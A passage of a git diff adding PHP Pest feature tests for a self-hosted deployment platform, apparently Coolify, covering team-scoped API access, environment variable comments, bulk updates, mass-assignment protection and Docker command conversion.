$this->getJson('/api/v1/deployments/fake-uuid'); + + $response->assertUnauthorized(); + }); + + test('returns 404 when deployment not found', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson('/api/v1/deployments/non-existent-uuid'); + + $response->assertNotFound(); + $response->assertJson(['message' => 'Deployment not found.']); + }); + + test('returns deployment when uuid is valid and belongs to team', function () { + $deployment = ApplicationDeploymentQueue::create([ + 'deployment_uuid' => 'test-deploy-uuid', + 'application_id' => $this->application->id, + 'server_id' => $this->server->id, + 'status' => ApplicationDeploymentStatus::IN_PROGRESS->value, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson("/api/v1/deployments/{$deployment->deployment_uuid}"); + + $response->assertSuccessful(); + $response->assertJsonFragment(['deployment_uuid' => 'test-deploy-uuid']); + }); + + test('returns 404 when deployment belongs to another team', function () { + $otherTeam = Team::factory()->create(); + $otherProject = Project::factory()->create(['team_id' => $otherTeam->id]); + $otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]); + $otherApplication = Application::factory()->create([ + 'environment_id' => $otherEnvironment->id, + ]); + $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]); + + $deployment = ApplicationDeploymentQueue::create([ + 'deployment_uuid' => 'other-team-deploy-uuid', + 'application_id' => $otherApplication->id, + 'server_id' => $otherServer->id, + 'status' => ApplicationDeploymentStatus::IN_PROGRESS->value, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson("/api/v1/deployments/{$deployment->deployment_uuid}"); + + $response->assertNotFound(); + }); +}); diff --git a/tests/Feature/DockerCleanupJobTest.php b/tests/Feature/DockerCleanupJobTest.php new file mode 100644 index 000000000..446260e22 --- /dev/null +++ b/tests/Feature/DockerCleanupJobTest.php @@ -0,0 +1,50 @@ +create(); + $team = $user->teams()->first(); + $server = Server::factory()->create(['team_id' => $team->id]); + + // Make server not functional by setting is_reachable to false + $server->settings->update(['is_reachable' => false]); + + $job = new DockerCleanupJob($server); + $job->handle(); + + $execution = DockerCleanupExecution::where('server_id', $server->id)->first(); + + expect($execution)->not->toBeNull() + ->and($execution->status)->toBe('failed') + ->and($execution->message)->toContain('not functional') + ->and($execution->finished_at)->not->toBeNull(); +}); + +it('creates a failed execution record when server is force disabled', function () { + $user = User::factory()->create(); + $team = $user->teams()->first(); + $server = Server::factory()->create(['team_id' => $team->id]); + + // Make server not functional by force disabling + $server->settings->update([ + 'is_reachable' => true, + 'is_usable' => true, + 'force_disabled' => true, + ]); + + $job = new DockerCleanupJob($server); + $job->handle(); + + $execution = DockerCleanupExecution::where('server_id', $server->id)->first(); + + expect($execution)->not->toBeNull() + ->and($execution->status)->toBe('failed') + ->and($execution->message)->toContain('not functional'); +}); diff --git a/tests/Feature/DockerCustomCommandsTest.php b/tests/Feature/DockerCustomCommandsTest.php index 5d9dcd174..74bff2043 100644 --- a/tests/Feature/DockerCustomCommandsTest.php +++ b/tests/Feature/DockerCustomCommandsTest.php @@ -198,3 +198,20 @@ 'entrypoint' => 'python -c "print(\"hi\")"', ]); }); + +test('ConvertIp6', function () { + $input = '--ip6 2001:db8::1'; + $output = convertDockerRunToCompose($input); + expect($output)->toBe([ + 'ip6' => ['2001:db8::1'], + ]); +}); + +test('ConvertIpAndIp6Together', function () { + $input = '--ip 172.20.0.5 --ip6 2001:db8::1'; + $output = convertDockerRunToCompose($input); + expect($output)->toBe([ + 'ip' => ['172.20.0.5'], + 'ip6' => ['2001:db8::1'], + ]); +}); diff --git a/tests/Feature/DomainsByServerApiTest.php b/tests/Feature/DomainsByServerApiTest.php new file mode 100644 index 000000000..ea799275b --- /dev/null +++ b/tests/Feature/DomainsByServerApiTest.php @@ -0,0 +1,123 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +function authHeaders(): array +{ + return [ + 'Authorization' => 'Bearer '.test()->bearerToken, + ]; +} + +test('returns domains for own team application via uuid query param', function () { + $application = Application::factory()->create([ + 'fqdn' => 'https://my-app.example.com', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders()) + ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$application->uuid}"); + + $response->assertOk(); + $response->assertJsonFragment(['my-app.example.com']); +}); + +test('returns 404 when application uuid belongs to another team', function () { + $otherTeam = Team::factory()->create(); + $otherUser = User::factory()->create(); + $otherTeam->members()->attach($otherUser->id, ['role' => 'owner']); + + $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]); + $otherDestination = StandaloneDocker::where('server_id', $otherServer->id)->first(); + $otherProject = Project::factory()->create(['team_id' => $otherTeam->id]); + $otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]); + + $otherApplication = Application::factory()->create([ + 'fqdn' => 'https://secret-app.internal.company.com', + 'environment_id' => $otherEnvironment->id, + 'destination_id' => $otherDestination->id, + 'destination_type' => $otherDestination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders()) + ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$otherApplication->uuid}"); + + $response->assertNotFound(); + $response->assertJson(['message' => 'Application not found.']); +}); + +test('returns 404 for nonexistent application uuid', function () { + $response = $this->withHeaders(authHeaders()) + ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid=nonexistent-uuid"); + + $response->assertNotFound(); + $response->assertJson(['message' => 'Application not found.']); +}); + +test('returns 404 when server uuid belongs to another team', function () { + $otherTeam = Team::factory()->create(); + $otherUser = User::factory()->create(); + $otherTeam->members()->attach($otherUser->id, ['role' => 'owner']); + + $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]); + + $response = $this->withHeaders(authHeaders()) + ->getJson("/api/v1/servers/{$otherServer->uuid}/domains"); + + $response->assertNotFound(); + $response->assertJson(['message' => 'Server not found.']); +}); + +test('only returns domains for applications on the specified server', function () { + $application = Application::factory()->create([ + 'fqdn' => 'https://app-on-server.example.com', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $otherServer = Server::factory()->create(['team_id' => $this->team->id]); + $otherDestination = StandaloneDocker::where('server_id', $otherServer->id)->first(); + + $applicationOnOtherServer = Application::factory()->create([ + 'fqdn' => 'https://app-on-other-server.example.com', + 'environment_id' => $this->environment->id, + 'destination_id' => $otherDestination->id, + 'destination_type' => $otherDestination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders()) + ->getJson("/api/v1/servers/{$this->server->uuid}/domains"); + + $response->assertOk(); + $responseContent = $response->json(); + $allDomains = collect($responseContent)->pluck('domains')->flatten()->toArray(); + expect($allDomains)->toContain('app-on-server.example.com'); + expect($allDomains)->not->toContain('app-on-other-server.example.com'); +}); diff --git a/tests/Feature/EnvironmentVariableBulkCommentApiTest.php b/tests/Feature/EnvironmentVariableBulkCommentApiTest.php new file mode 100644 index 000000000..f038ad682 --- /dev/null +++ b/tests/Feature/EnvironmentVariableBulkCommentApiTest.php @@ -0,0 +1,244 @@ + 0]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +describe('PATCH /api/v1/applications/{uuid}/envs/bulk', function () { + test('creates environment variables with comments', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'DB_HOST', + 'value' => 'localhost', + 'comment' => 'Database host for production', + ], + [ + 'key' => 'DB_PORT', + 'value' => '5432', + ], + ], + ]); + + $response->assertStatus(201); + + $envWithComment = EnvironmentVariable::where('key', 'DB_HOST') + ->where('resourceable_id', $application->id) + ->where('is_preview', false) + ->first(); + + $envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT') + ->where('resourceable_id', $application->id) + ->where('is_preview', false) + ->first(); + + expect($envWithComment->comment)->toBe('Database host for production'); + expect($envWithoutComment->comment)->toBeNull(); + }); + + test('updates existing environment variable comment', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + EnvironmentVariable::create([ + 'key' => 'API_KEY', + 'value' => 'old-key', + 'comment' => 'Old comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'API_KEY', + 'value' => 'new-key', + 'comment' => 'Updated comment', + ], + ], + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'API_KEY') + ->where('resourceable_id', $application->id) + ->where('is_preview', false) + ->first(); + + expect($env->value)->toBe('new-key'); + expect($env->comment)->toBe('Updated comment'); + }); + + test('preserves existing comment when not provided in bulk update', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + EnvironmentVariable::create([ + 'key' => 'SECRET', + 'value' => 'old-secret', + 'comment' => 'Keep this comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'SECRET', + 'value' => 'new-secret', + ], + ], + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'SECRET') + ->where('resourceable_id', $application->id) + ->where('is_preview', false) + ->first(); + + expect($env->value)->toBe('new-secret'); + expect($env->comment)->toBe('Keep this comment'); + }); + + test('rejects comment exceeding 256 characters', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'TEST_VAR', + 'value' => 'value', + 'comment' => str_repeat('a', 257), + ], + ], + ]); + + $response->assertStatus(422); + }); +}); + +describe('PATCH /api/v1/services/{uuid}/envs/bulk', function () { + test('creates environment variables with comments', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'REDIS_HOST', + 'value' => 'redis', + 'comment' => 'Redis cache host', + ], + [ + 'key' => 'REDIS_PORT', + 'value' => '6379', + ], + ], + ]); + + $response->assertStatus(201); + + $envWithComment = EnvironmentVariable::where('key', 'REDIS_HOST') + ->where('resourceable_id', $service->id) + ->where('resourceable_type', Service::class) + ->first(); + + $envWithoutComment = EnvironmentVariable::where('key', 'REDIS_PORT') + ->where('resourceable_id', $service->id) + ->where('resourceable_type', Service::class) + ->first(); + + expect($envWithComment->comment)->toBe('Redis cache host'); + expect($envWithoutComment->comment)->toBeNull(); + }); + + test('rejects comment exceeding 256 characters', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'TEST_VAR', + 'value' => 'value', + 'comment' => str_repeat('a', 257), + ], + ], + ]); + + $response->assertStatus(422); + }); +}); diff --git a/tests/Feature/EnvironmentVariableCommentTest.php b/tests/Feature/EnvironmentVariableCommentTest.php new file mode 100644 index 000000000..e7f9a07fb --- /dev/null +++ b/tests/Feature/EnvironmentVariableCommentTest.php @@ -0,0 +1,283 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->team->members()->attach($this->user, ['role' => 'owner']); + $this->application = Application::factory()->create([ + 'team_id' => $this->team->id, + ]); + + $this->actingAs($this->user); +}); + +test('environment variable can be created with comment', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => 'This is a test environment variable', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBe('This is a test environment variable'); + expect($env->key)->toBe('TEST_VAR'); + expect($env->value)->toBe('test_value'); +}); + +test('environment variable comment is optional', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBeNull(); + expect($env->key)->toBe('TEST_VAR'); +}); + +test('environment variable comment can be updated', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => 'Initial comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $env->comment = 'Updated comment'; + $env->save(); + + $env->refresh(); + expect($env->comment)->toBe('Updated comment'); +}); + +test('environment variable comment is preserved when updating value', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'initial_value', + 'comment' => 'Important variable for testing', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $env->value = 'new_value'; + $env->save(); + + $env->refresh(); + expect($env->value)->toBe('new_value'); + expect($env->comment)->toBe('Important variable for testing'); +}); + +test('environment variable comment is copied to preview environment', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => 'Test comment', + 'is_preview' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // The model's created() event listener automatically creates a preview version + $previewEnv = EnvironmentVariable::where('key', 'TEST_VAR') + ->where('resourceable_id', $this->application->id) + ->where('is_preview', true) + ->first(); + + expect($previewEnv)->not->toBeNull(); + expect($previewEnv->comment)->toBe('Test comment'); +}); + +test('parseEnvFormatToArray preserves values without inline comments', function () { + $input = "KEY1=value1\nKEY2=value2"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => null], + ]); +}); + +test('developer view format does not break with comment-like values', function () { + // Values that contain # but shouldn't be treated as comments when quoted + $env1 = EnvironmentVariable::create([ + 'key' => 'HASH_VAR', + 'value' => 'value_with_#_in_it', + 'comment' => 'Contains hash symbol', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env1->value)->toBe('value_with_#_in_it'); + expect($env1->comment)->toBe('Contains hash symbol'); +}); + +test('environment variable comment can store up to 256 characters', function () { + $comment = str_repeat('a', 256); + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => $comment, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBe($comment); + expect(strlen($env->comment))->toBe(256); +}); + +test('environment variable comment cannot exceed 256 characters via Livewire', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $longComment = str_repeat('a', 257); + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\Show::class, ['env' => $env, 'type' => 'application']) + ->set('comment', $longComment) + ->call('submit') + ->assertHasErrors(['comment' => 'max']); +}); + +test('bulk update preserves existing comments when no inline comment provided', function () { + // Create existing variable with a manually-entered comment + $env = EnvironmentVariable::create([ + 'key' => 'DATABASE_URL', + 'value' => 'postgres://old-host', + 'comment' => 'Production database', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // User switches to Developer view and pastes new value without inline comment + $bulkContent = "DATABASE_URL=postgres://new-host\nOTHER_VAR=value"; + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [ + 'resource' => $this->application, + 'type' => 'application', + ]) + ->set('variables', $bulkContent) + ->call('submit'); + + // Refresh the environment variable + $env->refresh(); + + // The value should be updated + expect($env->value)->toBe('postgres://new-host'); + + // The manually-entered comment should be PRESERVED + expect($env->comment)->toBe('Production database'); +}); + +test('bulk update overwrites existing comments when inline comment provided', function () { + // Create existing variable with a comment + $env = EnvironmentVariable::create([ + 'key' => 'API_KEY', + 'value' => 'old-key', + 'comment' => 'Old comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // User pastes new value WITH inline comment + $bulkContent = 'API_KEY=new-key #Updated production key'; + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [ + 'resource' => $this->application, + 'type' => 'application', + ]) + ->set('variables', $bulkContent) + ->call('submit'); + + // Refresh the environment variable + $env->refresh(); + + // The value should be updated + expect($env->value)->toBe('new-key'); + + // The comment should be OVERWRITTEN with the inline comment + expect($env->comment)->toBe('Updated production key'); +}); + +test('bulk update handles mixed inline and stored comments correctly', function () { + // Create two variables with comments + $env1 = EnvironmentVariable::create([ + 'key' => 'VAR_WITH_COMMENT', + 'value' => 'value1', + 'comment' => 'Existing comment 1', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $env2 = EnvironmentVariable::create([ + 'key' => 'VAR_WITHOUT_COMMENT', + 'value' => 'value2', + 'comment' => 'Existing comment 2', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Bulk paste: one with inline comment, one without + $bulkContent = "VAR_WITH_COMMENT=new_value1 #New inline comment\nVAR_WITHOUT_COMMENT=new_value2"; + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [ + 'resource' => $this->application, + 'type' => 'application', + ]) + ->set('variables', $bulkContent) + ->call('submit'); + + // Refresh both variables + $env1->refresh(); + $env2->refresh(); + + // First variable: comment should be overwritten with inline comment + expect($env1->value)->toBe('new_value1'); + expect($env1->comment)->toBe('New inline comment'); + + // Second variable: comment should be preserved + expect($env2->value)->toBe('new_value2'); + expect($env2->comment)->toBe('Existing comment 2'); +}); + +test('bulk update creates new variables with inline comments', function () { + // Bulk paste creates new variables, some with inline comments + $bulkContent = "NEW_VAR1=value1 #Comment for var1\nNEW_VAR2=value2\nNEW_VAR3=value3 #Comment for var3"; + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [ + 'resource' => $this->application, + 'type' => 'application', + ]) + ->set('variables', $bulkContent) + ->call('submit'); + + // Check that variables were created with correct comments + $var1 = EnvironmentVariable::where('key', 'NEW_VAR1') + ->where('resourceable_id', $this->application->id) + ->first(); + $var2 = EnvironmentVariable::where('key', 'NEW_VAR2') + ->where('resourceable_id', $this->application->id) + ->first(); + $var3 = EnvironmentVariable::where('key', 'NEW_VAR3') + ->where('resourceable_id', $this->application->id) + ->first(); + + expect($var1->value)->toBe('value1'); + expect($var1->comment)->toBe('Comment for var1'); + + expect($var2->value)->toBe('value2'); + expect($var2->comment)->toBeNull(); + + expect($var3->value)->toBe('value3'); + expect($var3->comment)->toBe('Comment for var3'); +}); diff --git a/tests/Feature/EnvironmentVariableMassAssignmentTest.php b/tests/Feature/EnvironmentVariableMassAssignmentTest.php new file mode 100644 index 000000000..f2650fdc7 --- /dev/null +++ b/tests/Feature/EnvironmentVariableMassAssignmentTest.php @@ -0,0 +1,217 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->team->members()->attach($this->user, ['role' => 'owner']); + $this->application = Application::factory()->create(); + + $this->actingAs($this->user); +}); + +test('all fillable fields can be mass assigned', function () { + $data = [ + 'key' => 'TEST_KEY', + 'value' => 'test_value', + 'comment' => 'Test comment', + 'is_literal' => true, + 'is_multiline' => true, + 'is_preview' => false, + 'is_runtime' => true, + 'is_buildtime' => false, + 'is_shown_once' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]; + + $env = EnvironmentVariable::create($data); + + expect($env->key)->toBe('TEST_KEY'); + expect($env->value)->toBe('test_value'); + expect($env->comment)->toBe('Test comment'); + expect($env->is_literal)->toBeTrue(); + expect($env->is_multiline)->toBeTrue(); + expect($env->is_preview)->toBeFalse(); + expect($env->is_runtime)->toBeTrue(); + expect($env->is_buildtime)->toBeFalse(); + expect($env->is_shown_once)->toBeFalse(); + expect($env->resourceable_type)->toBe(Application::class); + expect($env->resourceable_id)->toBe($this->application->id); +}); + +test('comment field can be mass assigned with null', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => null, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBeNull(); +}); + +test('comment field can be mass assigned with empty string', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => '', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBe(''); +}); + +test('comment field can be mass assigned with long text', function () { + $comment = str_repeat('This is a long comment. ', 10); + + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => $comment, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBe($comment); + expect(strlen($env->comment))->toBe(strlen($comment)); +}); + +test('all boolean fields default correctly when not provided', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Boolean fields can be null or false depending on database defaults + expect($env->is_multiline)->toBeIn([false, null]); + expect($env->is_preview)->toBeIn([false, null]); + expect($env->is_runtime)->toBeIn([false, null]); + expect($env->is_buildtime)->toBeIn([false, null]); + expect($env->is_shown_once)->toBeIn([false, null]); +}); + +test('value field is properly encrypted when mass assigned', function () { + $plainValue = 'secret_value_123'; + + $env = EnvironmentVariable::create([ + 'key' => 'SECRET_KEY', + 'value' => $plainValue, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Value should be decrypted when accessed via model + expect($env->value)->toBe($plainValue); + + // Verify it's actually encrypted in the database + $rawValue = \DB::table('environment_variables') + ->where('id', $env->id) + ->value('value'); + + expect($rawValue)->not->toBe($plainValue); + expect($rawValue)->not->toBeNull(); +}); + +test('key field is trimmed and spaces replaced with underscores', function () { + $env = EnvironmentVariable::create([ + 'key' => ' TEST KEY WITH SPACES ', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->key)->toBe('TEST_KEY_WITH_SPACES'); +}); + +test('version field can be mass assigned', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'version' => '1.2.3', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // The booted() method sets version automatically, so it will be the current version + expect($env->version)->not->toBeNull(); +}); + +test('mass assignment works with update method', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'initial_value', + 'comment' => 'Initial comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $env->update([ + 'value' => 'updated_value', + 'comment' => 'Updated comment', + 'is_literal' => true, + ]); + + $env->refresh(); + + expect($env->value)->toBe('updated_value'); + expect($env->comment)->toBe('Updated comment'); + expect($env->is_literal)->toBeTrue(); +}); + +test('protected attributes cannot be mass assigned', function () { + $customDate = '2020-01-01 00:00:00'; + + $env = EnvironmentVariable::create([ + 'id' => 999999, + 'uuid' => 'custom-uuid', + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + 'created_at' => $customDate, + 'updated_at' => $customDate, + ]); + + // id should be auto-generated, not 999999 + expect($env->id)->not->toBe(999999); + + // uuid should be auto-generated, not 'custom-uuid' + expect($env->uuid)->not->toBe('custom-uuid'); + + // Timestamps should be current, not 2020 + expect($env->created_at->year)->toBe(now()->year); +}); + +test('order field can be mass assigned', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'order' => 5, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->order)->toBe(5); +}); + +test('is_shared field can be mass assigned', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'is_shared' => true, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Note: is_shared is also computed via accessor, but can be mass assigned + expect($env->is_shared)->not->toBeNull(); +}); diff --git a/tests/Feature/EnvironmentVariableUpdateApiTest.php b/tests/Feature/EnvironmentVariableUpdateApiTest.php index 9c45dc5ae..1ff528bbf 100644 --- a/tests/Feature/EnvironmentVariableUpdateApiTest.php +++ b/tests/Feature/EnvironmentVariableUpdateApiTest.php @@ -3,6 +3,7 @@ use App\Models\Application; use App\Models\Environment; use App\Models\EnvironmentVariable; +use App\Models\InstanceSettings; use App\Models\Project; use App\Models\Server; use App\Models\Service; @@ -14,6 +15,8 @@ uses(RefreshDatabase::class); beforeEach(function () { + InstanceSettings::updateOrCreate(['id' => 0]); + $this->team = Team::factory()->create(); $this->user = User::factory()->create(); $this->team->members()->attach($this->user->id, ['role' => 'owner']); @@ -24,7 +27,7 @@ $this->bearerToken = $this->token->plainTextToken; $this->server = Server::factory()->create(['team_id' => $this->team->id]); - $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); $this->project = Project::factory()->create(['team_id' => $this->team->id]); $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); }); @@ -117,6 +120,35 @@ $response->assertStatus(422); }); + + test('uses route uuid and ignores uuid in request body', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + EnvironmentVariable::create([ + 'key' => 'TEST_KEY', + 'value' => 'old-value', + 'resourceable_type' => Service::class, + 'resourceable_id' => $service->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs", [ + 'key' => 'TEST_KEY', + 'value' => 'new-value', + 'uuid' => 'bogus-uuid-from-body', + ]); + + $response->assertStatus(201); + $response->assertJsonFragment(['key' => 'TEST_KEY']); + }); }); describe('PATCH /api/v1/applications/{uuid}/envs', function () { @@ -191,4 +223,32 @@ $response->assertStatus(422); }); + + test('rejects unknown fields in request body', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + EnvironmentVariable::create([ + 'key' => 'TEST_KEY', + 'value' => 'old-value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs", [ + 'key' => 'TEST_KEY', + 'value' => 'new-value', + 'uuid' => 'bogus-uuid-from-body', + ]); + + $response->assertStatus(422); + $response->assertJsonFragment(['uuid' => ['This field is not allowed.']]); + }); }); diff --git a/tests/Feature/GenerateApplicationNameTest.php b/tests/Feature/GenerateApplicationNameTest.php new file mode 100644 index 000000000..3a1c475d3 --- /dev/null +++ b/tests/Feature/GenerateApplicationNameTest.php @@ -0,0 +1,22 @@ +toBe('coolify:main-test123'); + expect($name)->not->toContain('coollabsio'); +}); + +test('generate_application_name handles repository without owner', function () { + $name = generate_application_name('coolify', 'main', 'test123'); + + expect($name)->toBe('coolify:main-test123'); +}); + +test('generate_application_name handles deeply nested repository path', function () { + $name = generate_application_name('org/sub/repo-name', 'develop', 'abc456'); + + expect($name)->toBe('repo-name:develop-abc456'); + expect($name)->not->toContain('org'); + expect($name)->not->toContain('sub'); +}); diff --git a/tests/Feature/GithubWebhookTest.php b/tests/Feature/GithubWebhookTest.php new file mode 100644 index 